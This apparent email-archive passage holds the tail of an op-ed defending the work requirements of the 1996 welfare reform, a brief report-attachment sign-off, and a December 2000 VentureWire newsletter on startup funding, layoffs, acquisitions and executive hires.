requirements have permanently and dramatically changed the attitudes of 
both recipients and welfare administrators.  "New entrants now come in with 
the expectation that welfare is temporary and transitional and that they 
need to move into employment and help their family," Howard says.  "There's 
been a cultural change for our staff as well, a new attitude about moving 
families quicker."

New York welfare agency spokesman Jack Madden echoes this belief that a 
more work-oriented system will help recipients weather hard economic 
times:  "[They] now have a work history, they understand the importance of 
work in their personal lives and they will be able to jump back into 
employment when the economy picks up steam again.  You have to compare that 
with the old welfare system, which kept people in poverty regardless of the 
economy."

The debate over the economy and welfare reform is of particular importance 
because the 1996 law is up for reauthorization in Congress next year.  Many 
of the original critics of work-based welfare reform, having grudgingly 
admitted its success, are now calling for a significant scaling back of 
work requirements and time limits on grounds that they can only work in a 
red-hot economy with plentiful jobs.

No one is arguing we shouldn't be worried about the impact of the economic 
slowdown on welfare recipients, many of whom do not yet qualify for 
unemployment insurance if they do lose their jobs.  Today's relatively 
positive picture could clearly get worse.  But the answer is to intensify, 
not retreat from, the new system of job placement, support services, and 
assistance to "make work pay" through health insurance and supplemental 
income support, that was at the heart of the 1996 reforms.

The stubborn good news about welfare reform, even in relatively tough 
economic times, provides ample evidence that it's no time to turn back from 
the most successful social policy innovation of the 1990s. 

Attached is the TW weekly report for March 22, 2002.

Jan Moore
X53858

	?	
?	VentureWire
	Wednesday, December 13, 2000	?
?	CONTENTS | COMPANIES | INVESTORS | ADVERTISE | TELL A FRIEND	?
?	
	
	top stories
	
	* E-Government Site govWorks in Desperate Search For Cash
	* News Site LocalBusiness.com Lays Off 27% of Staff
	* Broadview Holdings Launches $250 Million Kennet II Fund
	* Compaq Adds $100 Million to Storage Investment Fund
	
	TODAY'S FEATURE
	RecordTV Hangs On Against the Movie Goliath
	By Lizbeth Scordo
	It's not easy getting funding these days, especially for Internet startups. 
more>>
	
	100 PRE-IPO NETWORKING BUSINESSES
	THE INDUSTRY'S KEY EXECUTIVES AND INVESTORS
	
	Network Outlook
	March 12-13, 2001
	San Francisco Airport Marriott, Burlingame, CA
	
	Featuring Vivek Ragavan, President and CEO of Redback
	Networks and Gordon Stitt, President and CEO of Extreme
	Networks together with incisive panels and roundtables --
	the perfect opportunity to network with the industry's best
	and brightest.   Visit: http://networkoutlook.net/?vw=20001213
	to reserve your place for this annual sell out event.
	
	new money
	
	* App Infrastructure Firm Exenet Has $35 Million First Round 
	* Ad Tech Firm Addition Systems Gets First Round Funds
	* Healthcare Transaction Firm EDIT Gets Seed from VeriFone 
	* Manufacturing Tech Firm EMT Has $5.5 Million in First Round
	* Online Buying Tech Firm DuoCash Raises Series A Funding
	* Portable Use Software Firm ANM Has $2.25 Million Round One
	* Router Replacement Services Firm Gets $5 Million First Round
	* Diode Laser Firm Alfalight Gets $28 Million in Second Round
	* Cisco Invests in Cogency Semiconductor's Second Round
	* Dresdner Kleinwort Benson Invests $6 Million In Croatia
	* E-Government Firm FreeBalance Has $1.3 Million Round Two 
	* Web Entertainment Site Tribe Gets $9 Million Round Two
	* Auto Parts Firm NextPart Gets Addt'l Round Two Funds in Deal
	* B2B Suppliers Rating Firm SupplierInsight Gets Funding
	* Interactive TV Firm Commerce.TV Lands $23 Million Series C
	* Remote Net Access Firm iPass Adds $20 Million to Round Four
	* Securant Technologies Lands $31 Million in Series C
	* Albert Lands $10 Million in First Phase of Mezzanine Round
	* Omneon Video Networks Raises $24.8 Million Third Round
	* FIS Gets Funds from Autodesk; Autodesk Invest in Two Others
	* Investment Management Firm IPMG Invests in StoreBusters.
	* Myutility Raises $3.5 Million, Buys Utility Business 
	* Digital Media Firm eZedia Has $655,481 in Third Round
	* Managed ASP Cosential Raises $1.8 Million in Funding 
	* Swedish VC Invests $134,000 in DNA Chip Developer Picron 
	
	bad news
	
	* Web File and Application Service Desktop.com Closes Down
	
	new products
	
	* Doc-to-Patient Site GoToMyDoc Changes to AviaHealth
	
	new deals
	
	* National Geographic Takes 19% Stake in Art Site Novica.com
	
	m&a
	
	* ProAct Technologies to Acquire Interlynx for $60 Million
	* eBay Subsidiary Half.com Acquires Deja.com Technology
	* eKiosks Acquires Net Security Tech Firm InterNetStation 
	* Home Product Site OurHouse to Acquire Retail Site Tavolo 
	* Net Software Firm Reef Acquires Net Content Tech Firm Edapta
	
	new directors
	
	* Broadband Service Firm Incanta Names Edaflow CEO as Chairman
	* CES International Names Cinergy Managing Director to Board
	* Ex-IBM Exec Joins Optical Transport Firm White Rock's Board 
	* Peer-to-Peer Tech Developer Porivo Names New Board Member
	* ASP Aspire Names Former Latitude Seven CEO as Chairman
	
	new people
	
	* Former ConvergeNet Executive Named CEO of Scale Eight
	* Integrated Circuit Firm Legerity Names Former Dell Exec CEO
	* Streaming Measurement Firm BroadStream Names Chairman
	* Capital Marketplace Firm Round1 Names its Leadership
	* Logistics.com Names New CEO and President
	* Web Grocery Store Netgrocer Promotes VP to President
	
	vc fund news
	
	* WebVestors Equity Partners Raises $20 Million in First Fund
	
	vc personnel
	
	* Jafco Taps Ex-FAC/Equities Executive for Managing Director
	
	vw corrections
	
	* Enamics
	* I-Escrow
	* Faber Consulting
	
	TOP STORIES... NEW MONEY... BAD NEWS... NEW PRODUCTS... NEW DEALS... M&A... 
NEW DIRECTORS... NEW PEOPLE... VC FUND NEWS... VC PERSONNEL... VW CORRECTIONS
	
	top
	
	Optix 2001 Features Creme de la Creme of the Industry
	
	Ask yourself: if Patrick Nettles, Chairman and CEO of Ciena,
	and Kerry Vahala, Professor of Applied Physics at the
	California Institute of Technology, are speaking at Optix
	2001, shouldn't I register to attend? It's been labeled the
	"must-attend" event of the year and is certain to be the
	optimal chance for networking with key players in the industry.
	
	In addition, 48 CEOs representing the best and brightest
	private optical communications companies will expound their
	business plans and future goals to others in the industry.
	
	Participation at this event is subject to approval and is
	limited to senior executives involved in the optical com-
	munications industry. For your registration pack, link to:
	http://www.optix2001.com/optix_reg.html?vw=20001213
	
	?
	E-Government Site govWorks in Desperate Search For Cash
	mail this story? top
	
	NEW YORK (VENTUREWIRE) -- Electronic government services firm govWorks is 
taking last ditch measures in a bid to keep the company running. CEO Kaleil 
Isaza Tuzman said the company is "cutting costs in every way possible" in an 
effort to stay afloat, and is "every day pounding the pavement" to find 
further financing or a buyer. Mr. Isaza said that as part of the company's 
efforts to scale back, in the last sixty days govWorks has stopped 
contributing cash to its subsidiary govWorks Latin America, a fifty-fifty 
joint venture with Argentine firm Consultora Tecnologica (Cotesa), and that 
the company "will continue to make that decision until we're okay." Under 
that agreement govWorks and Cotesa each contributed funds on a monthly basis 
to govWorks Latin America, and Cotesa has picked up govWorks' payments in the 
meantime. Mr. Isaza also clarified the scale of the company's cuts. After a 
p! eak of 233 employees in March, he said, govWorks cut positions in April 
and mid-August, with a final round of 41 layoffs in November. The company now 
has 56 employees in its domestic operations, with approximately 40 more in 
its international staff through govWorks Latin America. Mr. Isaza said the 
company would close rather than make further staff cuts. "This is the number 
we believe we need to adequately service clients," he said. But closing shop, 
said Mr. Isaza, "is not the mode we're in." The company is in post-term sheet 
negotiations with three potential acquirers, he said, and is looking for "the 
first fully negotiated reasonable situation that allows us to survive as a 
company." He said acquisition by a competitor "makes less sense because other 
companies in the market are facing similar challenges." Mr. Isaza said the 
company is hitting projections made in June for an 18-month road to 
profitability, but that pace was no longer in line with market expectations. 
I! n April, govWorks received funding from the Mayfield Fund, Kohlberg Kravis 
Roberts, American Management Systems, the Safra Group, Hearst Corp., Global 
Bridge Ventures, and Metropolis Ventures. Mr. Isaza, also co-founder and 
chairman of govWorks, made the comments in an interview after speaking at a 
luncheon on sponsored by The Colombian American, Ecuadorean American, and 
Venezuelan American Associations in New York.
	http://www.govworks.com
	
	News Site LocalBusiness.com Lays Off 27% of Staff
	
	FORT LAUDERDALE, Fla. (VENTUREWIRE) -- LocalBusiness.com, an online provider 
of local news, tools, and research resources for small and medium-sized 
businesses, said it laid off 34 employees, 27% of its staff. The cuts include 
members of the editorial, marketing, and technology departments. The company 
said the layoffs were intended to bring it closer to profitability. The 
company also announced it is nearing an agreement to sell the majority stake 
of its wholly owned subsidiary TrueAdvantage, a provider of sales lead 
services, to a group of current LocalBusiness shareholders. LocalBusiness.com 
is backed by U.S. Equity Partners, Rustic Canyon Ventures, and Tribune 
Ventures, which invested $16 million in March. 
	http://www.localbusiness.com
	
	Broadview Holdings Launches $250 Million Kennet II Fund
	
	LONDON (VENTUREWIRE) -- Broadview Holdings, an international mergers and 
acquisitions advisor and late stage venture capital investor, said it is 
launching a new early stage venture capital fund. The $250 million global 
venture capital fund will be managed by Kennet Capital, a wholly owned 
venture of Broadview originally established with Electra Partners. The fund 
which is currently investing as Kennet II will do business as Broadview 
Venture Partners, subject to regulatory approval. The new fund will invest in 
early stage information technology companies in Europe with a secondary focus 
on the U.S. Industry segements including networking and data communications, 
optical and wireless technology and services, and Internet infrastructure and 
e-commerce are all potential investment areas for the new fund. The firm said 
it will divide ts staff between London and Silicon Valley, with eight 
professionals o! perating from London and five from Silicon Valley.  
	http://www.broadview.com
	
	Compaq Adds $100 Million to Storage Investment Fund
	
	HOUSTON (VENTUREWIRE) -- Compaq Computer said it is expanding its storage 
investment fund with an additional $100 million in 2001. The company's 
investment program focuses on accelerating the development and adoption of 
storage hardware, software, and utility provider technology. Compaq has 
invested in storage firms such as HighGround Systems, Prisa Networks, and 
StorageNetworks.  
	http://www.compaq.com
	
	new money
	?
	App Infrastructure Firm Exenet Has $35 Million First Round 
	
	NEW YORK  (VENTUREWIRE) -- Exenet Technologies, an application infrastructure 
provider, said it closed its $35 million initial round of funding. Telecom 
Partners and CIBC Capital Partners participated in the round.  Exenet will 
use the funding to expand its outsourced infrastructure service for ASPs, 
independent software vendors, value added resellers (VARs), Regional Bell 
operating companies, local exchange carriers, and other corporations.  Exenet 
provides lT outsourcing and application infrastructure services, including 
directory services, management services, storage services, database 
management, and bandwidth provisioning services.   
	http://www.exenet.com
	
	Ad Tech Firm Addition Systems Gets First Round Funds
	
	LOS ANGELES (VENTUREWIRE) -- Addition Systems, a provider of targeted 
advertising insertion technology, said it has raised an undisclosed amount of 
equity funding from Digital Media Campus as part of its first round. The 
company also announced it has acquired the proprietary server-side assets of 
eWave Networks, a streaming media technology firm. Digital Media Campus is a 
new media business development firm that focuses on interactive content and 
content distribution and infrastructure companies.    
	http://www.addition.net
	http://www.thecampus.com
	
	Healthcare Transaction Firm EDIT Gets Seed from VeriFone 
	
	ATLANTA (VENTUREWIRE) -- Electronic Direct Internet Transactions (EDIT), 
which provides services linking healthcare providers' offices to insurance 
payers online, said it secured an undisclosed amount of seed funding from 
VeriFone, a Hewlett-Packard division that provides online payment systems. 
EDIT will also offer a VeriFone payment terminal with its medical office 
services. EDIT raised $1.5 million from individual investors in September 
that was also part of its seed round. EDIT said it hopes to raise a Series A 
round next year. 
	http://www.edi-transactions.com
	
	Manufacturing Tech Firm EMT Has $5.5 Million in First Round
	
	LONDON, Ontario (VENTUREWIRE) -- Executive Manufacturing Technologies, which 
develops manufacturing information software, said it raised CND $5.5 million 
($3.6 million) in its first round of funding. The investment was led by 
Ventures West Management, and included the Canadian Science and Technology 
Growth Fund, and the Bank of Montreal Capital. GATX/MM Ventures also invested 
$1.5 million in debt funds. The company will use the funds for sales and 
marketing of its product, Visual Plant, which manages manufacturing 
	http://www.visualplant.com
	
	Online Buying Tech Firm DuoCash Raises Series A Funding
	
	NEW YORK (VENTUREWIRE) -- DuoCash, which offers technology that enables 
online purchasing with prepaid cards, said it raised an undisclosed amount of 
Series A funding. OCI Venture Group led the round, which included law firm 
Greenberg Traurig. Telemedia Accelerator, which is funded by Constellation 
Ventures; New York City Investment Fund; and Psilos Group also participated 
in the funding. OCI Venture Group president Chris Fraser will sit on the 
company's board of directors. DuoCash will use the funding for marketing and 
technology development.
	http://www.duocash.com
	
	Portable Use Software Firm ANM Has $2.25 Million Round One
	
	VANCOUVER, B.C. (VENTUREWIRE) -- Advanced Numerical Methods (ANM), a software 
firm that provides services enabling information presentation on desktop and 
portable devices, said it raised its first round of funding for $2.25 
million. Discovery Capital led the round with $1.4 million. Fractal Capital 
and individual investors also funded the round. Randy Garg of Discovery 
Capital will sit on the company's board of directors. The company will use 
the funding for further product development and for marketing. ANM provides 
technology for the digital imaging, geographic informations systems and 
remote sensing, medical imaging, and wireless device sectors.
	http://www.numericalmethods.com
	
	Router Replacement Services Firm Gets $5 Million First Round
	
	PETALUMA, Calif. (VENTUREWIRE) -- ReadyRouter.com, which provides configured 
replacement services for Cisco routers and switches, said it has secured $5 
million in its first round of funding from WR Hambrecht + Co. The company 
said it will use the funding to develop more new services.     
	http://www.readyrouter.com
	
	Diode Laser Firm Alfalight Gets $28 Million in Second Round
	
	MADISON, Wis. (VENTUREWIRE) -- Alfalight, which develops high-powered diode 
lasers for the optical fiber communications market, said it raised its second 
round of funding for $28 million, bringing its total funding raised to 
approximately $34 million. Advanced Technology Ventures led the round, which 
included Centerpoint Ventures, the Infrastructure Fund, Interwest Partners, 
and first round lead investor ARCH Venture Partners. The company will use the 
funding to commercialize its technology and expand its new facility in 
Madison, Wisconsin, and its operations in Canada.
	http://www.alfalight.com
	
	Cisco Invests in Cogency Semiconductor's Second Round
	
	OTTOWA, Ontario (VENTUREWIRE) -- Cogency Semiconductor, a provider of 
semiconductors for the home networking market, said that Cisco Systems has 
invested an undisclosed amount as an add on to Cogency's second round of 
funding that closed in September. The company said it will use the capital to 
support its growth plans, expand research and development capabilities, and 
increase sales and marketing. Its products enable high-speed data 
transmission using existing in-home wiring. A member of Cisco will receive an 
observer seat on Cogency's board of directors. The company's other investors 
include Celtic House International, VenGrowth, and Working Ventures Canadian 
Fund.     
	http://www.cogency.com
	
	Dresdner Kleinwort Benson Invests $6 Million In Croatia
	
	LONDON (VENTUREWIRE) -- The private equity arm of Dresdner Kleinwort Benson 
said it invested $6 million in Croatian Internet company Iskon Internet. The 
second round investment gives Dresdner an undisclosed "substantial equity 
stake in the business," according to a company press release. The funding 
will be used to increase the capacity, scope, and quality of the company's 
initial product and to develop and market additional Internet-based 
communication, media, and e-commerce products directed towards the Croatian 
market. The investment is the fourth Dresdner has made from its Emerging 
Europe Fund bringing the total amount invested to $35 million. $5 million was 
initially invested in Iskon Internet by a consortium of private investors led 
by Gavin Susman.
	http://www.iskon.hr
	
	E-Government Firm FreeBalance Has $1.3 Million Round Two 
	
	OTTAWA, Ontario (VENTUREWIRE) -- FreeBalance, a developer of Internet-based 
government products and administrative systems for the public sector, said it 
received CDN 2 million ($1.3 million) as part of its second round of funding, 
which is still open, from GATX/MM Venture Finance Partnership. The company 
plans to raise an additional CDN 10 million to complete the second round. The 
company will use the funds for product development. FreeBalance raised CDN 
2.7 million in 1997.
	http://www.freebalance.com
	
	Web Entertainment Site Tribe Gets $9 Million Round Two
	
	SYDNEY (VENTUREWIRE) -- Tribe, an Australian online media and entertainment 
company, said it received AUS $17 million ($9 million) in its second round of 
funding. Investors were JP Morgan and United Distillers and Vinters. The 
company said it will use the funds to continue development of its site and 
off-line entertainment interests, as well as for international expansion.
	http://www.tribe.com.au
	
	Auto Parts Firm NextPart Gets Addt'l Round Two Funds in Deal
	
	EVANSTON, Ill. (VENTUREWIRE) -- Incubator and Web development firm duoDesign 
said it has invested $250,000 in NextPart, an Internet auto-parts 
distributor, in a service-for-equity deal. Under the terms of the agreement, 
duoDesign will use its Web development services to enhance and expand 
NextPart's business-to-business Web site. In addition to hosting the site, 
duoDesign will help NextPart build a customer service application and scale 
its database to handle nationwide inventory. DuoDesign's investment follows 
NextPart's second round of venture funding, which was provided by Silver 
Young Partners and Forefront Capital Management.  
	http://www.duodesign.com
	
	B2B Suppliers Rating Firm SupplierInsight Gets Funding
	
	CLEVELAND (VENTUREWIRE) -- SupplierInsight, an independent online source for 
qualification and ratings information on business-to-business suppliers, said 
it has secured funding from Capital One Partners. SupplierInsight said it 
will use the funding to expand its market coverage to more industries and 
electronic marketplace partners. The company has received funding from a 
consortium of Northeast Ohio investors, including Forest City Enterprises and 
Symark.  
	http://www.supplierinsight.com
	
	Interactive TV Firm Commerce.TV Lands $23 Million Series C
	
	BRAINTREE, Mass. (VENTUREWIRE) -- Commerce.TV, an infrastructure provider for 
interactive TV services, said it raised $23 million in its Series C round of 
funding. Investors included Motorola, Audax Group, Center Partners/ITV 
Partners, Sandler Capital, and previous investor Citigroup Technology 
Ventures. The company will use the funds to support upcoming cable 
deployments and to continue development of its services.
	http://www.commerce-tv.com
	
	Remote Net Access Firm iPass Adds $20 Million to Round Four
	
	REDWOOD SHORES, Calif. (VENTUREWIRE) -- iPass, a provider of global remote 
Internet access services, said it has closed its fourth, Series F round with 
an additional $20 million, bringing in Cisco as a new investor. Total funding 
for the round was $50 million. As reported in September, Crosspoint Ventures, 
Accel Partners, Comdisco, Equant, Rogers Communications and Sand Hill Capital 
also contributed to the round. iPass said it will use the funds to extend the 
development of its settlement and authentication technologies.   
	http://www.ipass.com
	
	Securant Technologies Lands $31 Million in Series C
	
	SAN FRANCISCO (VENTUREWIRE) -- Securant Technologies, which provides access 
management software and services for Internet business security, said it 
raised $31 million in its Series C round of funding. Oak Investment Partners 
led the round, which included Merrill Lynch and individual investors. Oak 
Investment Partners general partner Fred Harman and Richard Pierce, senior 
vice president and COO of Inktomi, will sit on the company's board of 
directors. The company will use the funding for product development, sales 
and marketing, and for international operating expenses. 
	http://www.securant.com
	
	Albert Lands $10 Million in First Phase of Mezzanine Round
	
	LAUSANNE, Switzerland (VENTUREWIRE) -- Albert-Inc., a provider of a natural 
language interface system developed for Internet Web sites and intranets, 
said it raised $10 million in the first phase of its mezzanine round led by 
TAG Group. The company is currently negotiating the second phase and expects 
to raise $5 to $10 million. The company will use the funds for expansion into 
other markets.
	http://www.albert.com
	
	Omneon Video Networks Raises $24.8 Million Third Round
	
	SUNNYVALE, Calif (VENTUREWIRE) -- Omneon Video Networks, a new media 
infrastructure company, said it completed its $24.8 million third round of 
financing led by Meritech Capital Partners. New investors include Chase H&Q, 
Intel Communications Fund, Palo Alto Investors, and Thomas Weisel Partners. 
Previous investors Accel Partners, Mayfield Fund, Norwest Venture Partners, 
Lucent Venture Partners, and The Ignite Group also participated in the round. 
The company has raised more than $57 million to date. Omneon said it will use 
the funds to advance its video area network operating platform that can 
openly support multiple formats, applications, and transmission standards for 
television and Internet applications. 
	http://www.omneon.com
	
	FIS Gets Funds from Autodesk; Autodesk Invest in Two Others
	
	CAMARILLO, Calif. (VENTUREWIRE) -- Facility Information Systems, a provider 
of enterprise software for facility management and corporate infrastructure 
resource management, said it received funding from Autodesk Ventures. 
Financial details were not disclosed. Separately, Autodesk said it also 
invested in Alchemedia, a developer of technology that protects against 
unauthorized use of digital images, and Izoic, a software firm focused on 
managing underground infrastructure maintenance. Autodesk said the three 
investments totalled $3 million. Alchemedia also received funding in that 
round from Carlyle Venture Partners and Hollinger Capital. Izoic received 
funds from Insight Capital Partners and Bechtel Ventures as well as Autodesk. 
	http://www.autodesk.com
	http:! //www.fisinc.com
	
	Investment Management Firm IPMG Invests in StoreBusters.
	
	SALT LAKE CITY (VENTUREWIRE) -- InterPacific Management Group (IPMG), an 
early stage investment management firm, said it completed a follow-on 
investment in StoreBusters, a developer of an Internet exposure and 
marketplace feedback information service. IPMG is a joint venture between 
Integran of Tokyo and JapanWorks. StoreBusters closed its first round in July 
with investments from JapanWorks and Utah Technology Finance Corp. 
	http://www.storebusters.com
	
	Myutility Raises $3.5 Million, Buys Utility Business 
	
	NEW YORK (VENTUREWIRE) -- Myutility, an energy services marketplace and 
information provider for businesses, said it bought the Teldata Solutions 
automated meter reading systems (AMR) and revenue cycle services (RCS) 
business from National Grid Group, which simultaneously invested $3.5 million 
in Myutility. National Grid purchased Teldata, a data acquisition products 
and services firm, last year. Myutility said it will use the funding to 
expand its services and for operations and is still seeking additional 
funding. Myutility raised an undisclosed amount of seed capital from TSG 
Equity Partners in September.
	http://www.myutility.com
	
	Digital Media Firm eZedia Has $655,481 in Third Round
	
	WINNIPEG, Manitoba (VENTUREWIRE) -- eZedia, a digital media technology firm, 
said it raised CDN 1 million ($655,481) in its third round of funding. Crocus 
Investment Fund and Manitoba Science and Technology Fund participated. The 
company will use the funds to expand its marketing and sales. 
	http://www.ezedia.com
	
	Managed ASP Cosential Raises $1.8 Million in Funding 
	
	WILTON, Conn. (VENTUREWIRE) -- Cosential, a managed ASP for architecture, 
construction, and engineering companies, said it raised $1.8 million in 
financing. Silicon Alley Venture Partners led the round, which included 
Milestone Venture Partners and Venture Quest. The company will use the 
funding to launch a new ASP service. Cosential said its enhanced ASP product 
will be available in the first quarter of 2001. 
	http://www.cosential.com
	
	Swedish VC Invests $134,000 in DNA Chip Developer Picron 
	
	STOCKHOLM (VENTUREWIRE) -- Affarsstrategerna, a publicly traded Swedish 
venture capital company, said it invested in Picron Microarrays, which is 
developing a DNA chip to be used in process analysis. The venture firm 
invested SEK 1.3 million ($134,000), for approximately 12% of the company's 
equity. Picron Microarrays' technology is used in genotyping for clinical 
diagnostics and detection. 
	http://www.astrateg.se
	
	bad news
	?
	Web File and Application Service Desktop.com Closes Down
	
	ATLANTA (VENTUREWIRE) -- Desktop.com, which provided a Web-based service that 
enabled users to create the equivalent of a cutomized computer desktop on the 
Internet, said it will cease operations on Dec. 31. The company has requested 
that users remove documents, files, or other personal information stored on 
the site before that date. Desktop.com laid-off an undisclosed number of its 
staff in October as a result of the company's changed focus from the consumer 
to the business market. Desktop.com has raised $29 million from Accel 
Partners, Kohlberg Kravis Roberts, and Sequoia Capital.
	http://www.desktop.com
	
	?
	Doc-to-Patient Site GoToMyDoc Changes to AviaHealth
	
	FARMINGTON, Conn. (VENTUREWIRE) -- GoToMyDoc, a Web site that connects 
patients to their ob/gyn physician or pediatricians, said it changed its name 
to AviaHealth. The company has received $25 million from Bessemer Venture 
Partners, Delphi Ventures, E.M. Warburg, Pincus & Co., InterWest Partners, 
Marquette Venture Partners, Pacific Venture Group, PNC Capital, and the 
Sprout Group.
	http://www.aviahealth.com
	
	new deals
	?
	National Geographic Takes 19% Stake in Art Site Novica.com
	
	WASHINGTON, D.C.  (VENTUREWIRE) -- National Geographic, a nonprofit 
scientific and educational organization, and Novica.com, an Internet commerce 
site specializing in handcrafted works of fine art and home decor sourced 
from artisans in developing economies, said they entered into a strategic 
agreement. Under the terms of the deal, National Geographic has become a 19% 
shareholder in Novica.com, with the right to increase its interest to nearly 
30 percent.  National Geographic will provide Novica with relevant content 
from its editorial resources, cross-marketing support, and access to its 
commerce  retail, catalog, and online channels. Rick Allen, president and CEO 
of National Geographic Ventures, will now serve on Novica's board of 
directors. National Geographic Ventures is the wholly owned taxable 
subsidiary of the National Geographic Society. Novica is funded by Scripps 
Ventures; Rust Capital ! LLC; Chris Blackwell, founder of Island Records; 
Michael Burns; Theresa Pan; Estella Warren; and other individual investors.  
	http://www.nationalgeographic.com
	http://www.novica.com
	
	m&a
	?
	ProAct Technologies to Acquire Interlynx for $60 Million
	
	NEW YORK (VENTUREWIRE) -- ProAct Technologies, a provider of human resources, 
employee benefits, and financial and health planning applications, said it 
agreed to acquire self-service software firm Interlynx Technology for $60 
million. Interlynx provides products for human resources applications. ProAct 
Technologies, formerly CFN, recently acquired MyDailyHealth, a developer of 
online incentive-based health management tools. ProAct raised a $150 million 
Series D round from Gateway Computers. ProAct is also backed by GE Capital 
and Chase Capital Partners. Interlynx is also venture backed.
	http://www.interlynx.com
	http://www.proactcorp.com
	
	eBay Subsidiary Half.com Acquires Deja.com Technology
	
	AUSTIN (VENTUREWIRE) -- Deja.com, a comparison shopping and consumer review 
site, said its precision buying service has been acquired by eBay subsidiary 
Half.com, an online, fixed price person-to-person marketplace, for an 
undisclosed amount. Deja.com withdrew its registration for an IPO in June, 
laid off employees in September, and announced it would soon be split and 
sold. Deja.com is backed by Austin Ventures, Chase H&Q, Comcast, GE Capital, 
Internet Capital Group, Prime New Media Ventures, and ZDNet.   
	http://www.deja.com
	http://www.half.com
	
	eKiosks Acquires Net Security Tech Firm InterNetStation 
	
	NEW LENOX, Ill. (VENTUREWIRE) -- ekiosk, which designs, manufactures, deploys 
and manages Internet kiosks in public areas, said it has acquired 
Internet-based Security Technology Firm InterNetStation from UnionBancorp, a 
financial services company. The financial terms of the acquisition were not 
disclosed. The stock only transaction also gives UnionBancorp equity interest 
in eKiosk, a privately-held firm that has secured funding from Exodus 
Communications, the Galleon Group, and individual investors.  
	http://www.ekioskdotcom.com
	
	Home Product Site OurHouse to Acquire Retail Site Tavolo 
	
	EVANSTON, Ill. (VENTUREWIRE) -- OurHouse, the parent company of OurHouse.com, 
a Web site that offers home products and services, said it has entered an 
agreement to acquire Tavolo, an online retailer of cooking and dining 
products. Under the terms of the merger, Tavolo shareholders will receive an 
undisclosed percentage of OurHouse stock. This agreement will add more than 
10,000 of Tavolo's cooking and dining products to OurHouse's existing roster. 
OurHouse is backed by Liberty Digital, J & W Seligman & Co., Meritech Capital 
Partners, Liechtenstein Global, Ace Hardware, Brentwood Venture Capital, 
Institutional Venture Partners, and Technology Crossover Ventures. Tavolo is 
backed by Van Wagoner Capital, Marquette Ventures, Scripps Ventures, Sprout 
Group, and Weston Presdio Capital. 
	http://www.ourhouse.com
	http://www.tavolo.com
	
	Net Software Firm Reef Acquires Net Content Tech Firm Edapta
	
	NEW YORK (VENTUREWIRE) -- Reef, a global Internet software company for 
electronic business, said it has acquired Edapta, a provider of 
Internet-based technology that adapts content and user interfaces across 
multiple platforms. The financial terms of the acquisition were not 
disclosed. Under the terms of the agreement, Edapta's co-founder, president, 
and chief technology officer, Jack Berkowitz, will become Reef's vice 
president of customer management and will report to Reef's CEO and founder 
Phillippe Brawerman. Reef's investors include Goldman Sachs, 3i, Cisco 
Systems, Net Fund Europe, Profrigo, and ViVentures.      
	http://www.reef.com
	
	?
	Broadband Service Firm Incanta Names Edaflow CEO as Chairman
	
	ATLANTA (VENTUREWIRE) -- Incanta, a provider of managed content services to 
broadband service providers, said it named Tim Cobb as chairman of the board. 
Aside from being an individual investor in Incanta, Mr. Cobb is founder, 
chairman and CEO of edaflow, a provider of software and services for the 
apparel industry. Mr. Conn joins board members Ron Dizy of Celtic House, Reid 
Funston of Reicon Capital, Dave Samuel of Mosaic Venture Partners, and Scott 
Ryan and John Brothers, both of Incanta. The company is backed by Mosaic 
Venture Partners, Intel Capital, AT&T Canada, Celtic House, Reicon Capital, 
Imlay Investments, Gray Ventures, Blackboard Ventures, and Marathon Capital.
	http://www.incanta.net
	
	CES International Names Cinergy Managing Director to Board
	
	ATLANTA (VENTUREWIRE) -- CES International, a software company for the 
utility industry, said it elected Brian Stallman, managing director of 
Cinergy Ventures, to its board of directors. Mr. Stallman currently manages a 
portfolio of new-energy technologies and business investments of more than 
$100 million. CES International is funded by Cinergy Ventures and InSight 
Capital Partners. 
	http://www.ces.com
	
	Ex-IBM Exec Joins Optical Transport Firm White Rock's Board 
	
	DALLAS (VENTUREWIRE) -- White Rock Networks, an optical transport system 
provider, said it has appointed Richard T. Liebhaber to its board of 
directors. Mr. Liebhaber spent more than 30 years at IBM and 10 years at MCI 
working in the optical transport space. White Rock has raised over $40 
million in funding from Mayfield Fund, Oak Investment Partners, Meritech 
Capital Partners, and Hook Partners.    
	http://www.whiterocknetworks.com
	
	Peer-to-Peer Tech Developer Porivo Names New Board Member
	
	RESEARCH TRIANGLE PARK, N.C (VENTUREWIRE) -- Porivo Technologies, a developer 
of peer-to-peer, distributed computing technologies, said it added Stephen 
Wiehe to its board of directors. Mr. Wiehe is a senior director of strategic 
investments and mergers and acquisitions at SAS Institute. Porivo uses its 
technologies to develop Internet infrastructure applications designed to 
measure and improve the performance of Web-based applications. The company is 
backed by The Aurora Funds.  
	http://www.porivo.com
	
	ASP Aspire Names Former Latitude Seven CEO as Chairman
	
	ORLANDO, Fla. (VENTUREWIRE) -- Aspire Solutions, an application service 
provider for business application software, said it named John M. Arthur as 
chairman of its board of directors. Mr. Arthur was most recently founder, 
president and CEO of venture management firm Latitude Seven. He also served 
as an executive with Muscato and was founder, president, and CEO of Meta. He 
also founded Symbolics. Aspire Solutions is backed by individual investors 
and is currently seeking a first round of funding.
	http://www.aspirecentral.com
	
	new people
	?
	Former ConvergeNet Executive Named CEO of Scale Eight
	
	SAN FRANCISCO (VENTUREWIRE) -- Scale Eight, a provider of Internet storage 
infrastructure services, said it named Richard Watts as president and CEO. 
Former CEO and founder Josh Coates will remain with the company as chief 
technical officer. Mr. Watts was most recently president and CEO of 
ConvergeNet, a provider of storage and networking products that was acquired 
by Dell Computer. The company is funded by Oak Investment Partners, InterWest 
Partners, and CenterPoint Ventures.
	http://www.s8.com
	
	Integrated Circuit Firm Legerity Names Former Dell Exec CEO
	
	AUSTIN, Texas (VENTUREWIRE) -- Legerity, a communication integrated circuit 
(IC) provider for data and voice networks, said it named Ron Van Dell as its 
first chief executive officer. Mr. Van Dell is former general manager of 
Dimension Products for Dell Computer. Legerity was acquired in July from 
publicly traded Advanced Micro Devices (AMD) by Francisco Partners, an equity 
investment firm. AMD still owns a 10 percent stake in Legerity.   
	http://www.legerity.com
	
	Streaming Measurement Firm BroadStream Names Chairman
	
	WOODLAND HILLS, Calif. (VENTUREWIRE) -- BroadStream, a streaming measurement 
and assurance company, said it appointed Anthony Bay as chairman of the 
board. Mr. Bay is a private venture capital investor and advisor to early 
stage technology companies. He most recently served as vice president of 
Microsoft's digital media division. Mr. Bay also served as general manager of 
Microsoft's commercial systems division.  BroadStream provides real-time 
reports for the streaming media industry. The company's investors include 
Change Technology and Eastwest.    
	http://www.broadstream.com
	
	Capital Marketplace Firm Round1 Names its Leadership
	
	SAN FRANCISCO (VENTUREWIRE) -- Round1, a financial marketplace services 
provider, named its top management. Company co-founder James A. Cohan will 
